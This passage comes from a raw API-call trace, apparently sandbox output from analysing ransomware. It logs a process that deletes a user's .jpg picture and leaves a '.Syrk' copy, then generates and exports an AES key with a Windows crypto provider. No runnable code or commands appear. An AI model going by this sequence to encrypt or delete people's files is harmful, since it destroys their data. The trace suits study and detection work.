lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", lpFilePart=0x0) returned 0x2e [0250.321] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0250.321] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0250.321] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0250.322] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0250.322] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0250.322] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0250.322] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0250.322] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0250.322] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0250.322] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0250.322] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0250.322] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0250.322] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0250.322] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0250.322] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0250.322] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0250.371] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hwqvksy6qiajdf.jpg")) returned 0x20 [0250.371] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0250.371] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", lpFilePart=0x0) returned 0x2e [0250.373] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0250.373] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", lpFilePart=0x0) returned 0x2e [0250.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0250.373] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0250.373] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", lpFilePart=0x0) returned 0x2e [0250.374] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\hwqvksy6qiajdf.jpg\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0250.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0250.374] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0250.374] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0250.374] CoTaskMemFree (pv=0x3b0008) [0250.375] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hwqvksy6qiajdf.jpg")) returned 0x20 [0250.375] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0250.375] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg", lpFilePart=0x0) returned 0x2e [0250.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0250.375] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hwqvksy6qiajdf.jpg"), fInfoLevelId=0x0, lpFileInformation=0x24d213c | out: lpFileInformation=0x24d213c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34558790, ftCreationTime.dwHighDateTime=0x1d99197, ftLastAccessTime.dwLowDateTime=0xa0582c50, ftLastAccessTime.dwHighDateTime=0x1d99a29, ftLastWriteTime.dwLowDateTime=0xa0582c50, ftLastWriteTime.dwHighDateTime=0x1d99a29, nFileSizeHigh=0x0, nFileSizeLow=0xa5e5)) returned 1 [0250.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0250.376] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hwqvksy6qiajdf.jpg")) returned 1 [0250.378] EtwEventActivityIdControl () returned 0x0 [0250.378] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.378] EtwEventActivityIdControl () returned 0x0 [0250.378] EtwEventActivityIdControl () returned 0x0 [0250.378] EtwEventActivityIdControl () returned 0x0 [0250.389] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\hwqvksy6qiajdf.jpg.syrk")) returned 0x20 [0250.390] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\hwqvksy6qiajdf.jpg.syrk")) returned 0x20 [0250.390] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0250.390] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg.Syrk", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg.Syrk", lpFilePart=0x0) returned 0x33 [0250.391] EtwEventActivityIdControl () returned 0x0 [0250.391] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.391] EtwEventActivityIdControl () returned 0x0 [0250.391] EtwEventActivityIdControl () returned 0x0 [0250.392] EtwEventActivityIdControl () returned 0x0 [0250.396] EtwEventActivityIdControl () returned 0x0 [0250.396] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.397] EtwEventActivityIdControl () returned 0x0 [0250.397] EtwEventActivityIdControl () returned 0x0 [0250.397] EtwEventActivityIdControl () returned 0x0 [0250.401] EtwEventActivityIdControl () returned 0x0 [0250.401] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.402] EtwEventActivityIdControl () returned 0x0 [0250.402] EtwEventActivityIdControl () returned 0x0 [0250.402] EtwEventActivityIdControl () returned 0x0 [0250.406] EtwEventActivityIdControl () returned 0x0 [0250.406] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.407] EtwEventActivityIdControl () returned 0x0 [0250.407] EtwEventActivityIdControl () returned 0x0 [0250.407] EtwEventActivityIdControl () returned 0x0 [0250.411] EtwEventActivityIdControl () returned 0x0 [0250.411] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.411] EtwEventActivityIdControl () returned 0x0 [0250.412] EtwEventActivityIdControl () returned 0x0 [0250.412] EtwEventActivityIdControl () returned 0x0 [0250.416] EtwEventActivityIdControl () returned 0x0 [0250.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0250.489] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hwQvkSY6qIajdf.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\hwqvksy6qiajdf.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24dbc10 | out: lpFileInformation=0x24dbc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10dc93b0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x10dc93b0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x10def510, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xa604)) returned 1 [0250.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0250.492] GetConsoleOutputCP () returned 0x1b5 [0250.493] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0250.494] GetConsoleOutputCP () returned 0x1b5 [0250.494] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0250.494] GetConsoleOutputCP () returned 0x1b5 [0250.497] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.497] GetConsoleOutputCP () returned 0x1b5 [0250.497] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.498] GetConsoleOutputCP () returned 0x1b5 [0250.498] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0250.498] GetConsoleOutputCP () returned 0x1b5 [0250.498] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0250.498] GetConsoleOutputCP () returned 0x1b5 [0250.499] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.499] GetConsoleOutputCP () returned 0x1b5 [0250.499] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.499] GetConsoleOutputCP () returned 0x1b5 [0250.500] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0250.500] GetConsoleOutputCP () returned 0x1b5 [0250.500] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0250.500] GetConsoleOutputCP () returned 0x1b5 [0250.501] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.501] GetConsoleOutputCP () returned 0x1b5 [0250.501] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.501] GetConsoleOutputCP () returned 0x1b5 [0250.501] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0250.501] GetConsoleOutputCP () returned 0x1b5 [0250.502] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0250.502] GetConsoleOutputCP () returned 0x1b5 [0250.502] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.502] GetConsoleOutputCP () returned 0x1b5 [0250.502] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.502] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0250.503] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0250.503] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24f586c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24f586c*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0250.504] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0250.504] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0250.505] EtwEventActivityIdControl () returned 0x0 [0250.505] EtwEventActivityIdControl () returned 0x0 [0250.506] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.506] EtwEventActivityIdControl () returned 0x0 [0250.506] EtwEventActivityIdControl () returned 0x0 [0250.506] EtwEventActivityIdControl () returned 0x0 [0250.509] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.510] EtwEventActivityIdControl () returned 0x0 [0250.510] EtwEventActivityIdControl () returned 0x0 [0250.510] EtwEventActivityIdControl () returned 0x0 [0250.512] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cd48) returned 1 [0250.513] CryptGenKey (in: hProv=0x5c4cd48, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c998a0) returned 1 [0250.514] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0250.514] CryptExportKey (in: hKey=0x5c998a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0250.514] CryptExportKey (in: hKey=0x5c998a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24fd244, pdwDataLen=0x5a2e8c4 | out: pbData=0x24fd244*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0250.514] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.514] EtwEventActivityIdControl () returned 0x0 [0250.514] EtwEventActivityIdControl () returned 0x0 [0250.515] EtwEventActivityIdControl () returned 0x0 [0250.515] SysStringLen (param_1="") returned 0x8 [0250.515] SysStringLen (param_1="u") returned 0x8 [0250.515] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.515] SysStringLen (param_1="\瓛ᦰ靯몔᧰捰≚) returned 0x8 [0250.515] SysStringLen (param_1="\瓛ᦰ靯몔᧰捰≚) returned 0x8 [0250.515] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.516] SysStringLen (param_1="uD") returned 0x8 [0250.516] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.516] SysStringLen (param_1="辇㤣\넄︷끱䐝⋓) returned 0x8 [0250.516] SysStringLen (param_1="辇㤣\넄︷끱䐝⋓) returned 0x8 [0250.516] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.516] SysStringLen (param_1="uDp") returned 0x8 [0250.516] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.516] SysStringLen (param_1="ﭩ篴흓跬䈌脾싲") returned 0x8 [0250.516] SysStringLen (param_1="ﭩ篴흓跬䈌脾싲") returned 0x8 [0250.516] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.516] SysStringLen (param_1="uDp5") returned 0x8 [0250.516] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.517] SysStringLen (param_1="鴘嚰缨跿༣嚞銿巟") returned 0x8 [0250.517] SysStringLen (param_1="鴘嚰缨跿༣嚞銿巟") returned 0x8 [0250.517] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.517] SysStringLen (param_1="uDp5B") returned 0x8 [0250.517] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.517] SysStringLen (param_1="⊈덉ᢆ緌僽뮙厄") returned 0x8 [0250.517] SysStringLen (param_1="⊈덉ᢆ緌僽뮙厄") returned 0x8 [0250.517] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.517] SysStringLen (param_1="uDp5B0") returned 0x8 [0250.517] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.517] SysStringLen (param_1="ͣ픿ꂄ딲谡桠㹴") returned 0x8 [0250.517] SysStringLen (param_1="ͣ픿ꂄ딲谡桠㹴") returned 0x8 [0250.517] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.518] SysStringLen (param_1="uDp5B08") returned 0x8 [0250.518] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.518] SysStringLen (param_1="덻㊖遨\૚팰됎⋁) returned 0x8 [0250.518] SysStringLen (param_1="덻㊖遨\૚팰됎⋁) returned 0x8 [0250.518] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.518] SysStringLen (param_1="uDp5B08J") returned 0x8 [0250.518] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.518] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ") returned 0x8 [0250.518] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ") returned 0x8 [0250.518] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ") returned 0x8 [0250.519] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ") returned 0x10 [0250.519] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.519] SysStringLen (param_1="uDp5B08Jm栄ꗨᤴ࿬騭뺹槑") returned 0x10 [0250.519] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.519] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ틇흆㕟싅ꚤ끱벿") returned 0x10 [0250.519] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ틇흆㕟싅ꚤ끱벿") returned 0x10 [0250.519] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.520] SysStringLen (param_1="uDp5B08JmJꗨᤴ࿬騭뺹槑") returned 0x10 [0250.520] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.520] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ禒髥煄詷縯亳\⋝) returned 0x10 [0250.520] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ禒髥煄詷縯亳\⋝) returned 0x10 [0250.520] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.520] SysStringLen (param_1="uDp5B08JmJ4ᤴ࿬騭뺹槑") returned 0x10 [0250.520] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.520] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪࡏ░᷇㔲跁攄搈㑉") returned 0x10 [0250.520] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪࡏ░᷇㔲跁攄搈㑉") returned 0x10 [0250.520] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.520] SysStringLen (param_1="uDp5B08JmJ4P࿬騭뺹槑") returned 0x10 [0250.520] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.520] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ⫆䞸孩篣솠瞎刢") returned 0x10 [0250.520] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ⫆䞸孩篣솠瞎刢") returned 0x10 [0250.520] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.521] SysStringLen (param_1="uDp5B08JmJ4PH騭뺹槑") returned 0x10 [0250.521] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.521] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ⃹൷몠⅌ꝓꨮ鲒") returned 0x10 [0250.521] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ⃹൷몠⅌ꝓꨮ鲒") returned 0x10 [0250.521] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.521] SysStringLen (param_1="uDp5B08JmJ4PHp뺹槑") returned 0x10 [0250.521] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.521] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ坤䵜ࠍ搌㠙䭸㻸澣") returned 0x10 [0250.521] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ坤䵜ࠍ搌㠙䭸㻸澣") returned 0x10 [0250.521] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.521] SysStringLen (param_1="uDp5B08JmJ4PHpX槑") returned 0x10 [0250.521] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.522] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪꌂ왏羒ꒃ⚆䧏揂") returned 0x10 [0250.522] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪꌂ왏羒ꒃ⚆䧏揂") returned 0x10 [0250.522] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.522] SysStringLen (param_1="uDp5B08JmJ4PHpXu") returned 0x10 [0250.522] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.522] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪") returned 0x10 [0250.522] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪") returned 0x10 [0250.522] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪") returned 0x10 [0250.522] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪") returned 0x18 [0250.523] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.523] SysStringLen (param_1="uDp5B08JmJ4PHpXu2⯶Ꜵ閻ࡦ휊虑") returned 0x18 [0250.523] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.523] SysStringLen (param_1="尳傑튁ꏺ萃ⱒ췊ꓪ׹줫岟᷺Ṕ븙ꑹ䭪껾攻뷴ﺰ镵棋塚ⶏ") returned 0x18 [0250.523] SysStringLen 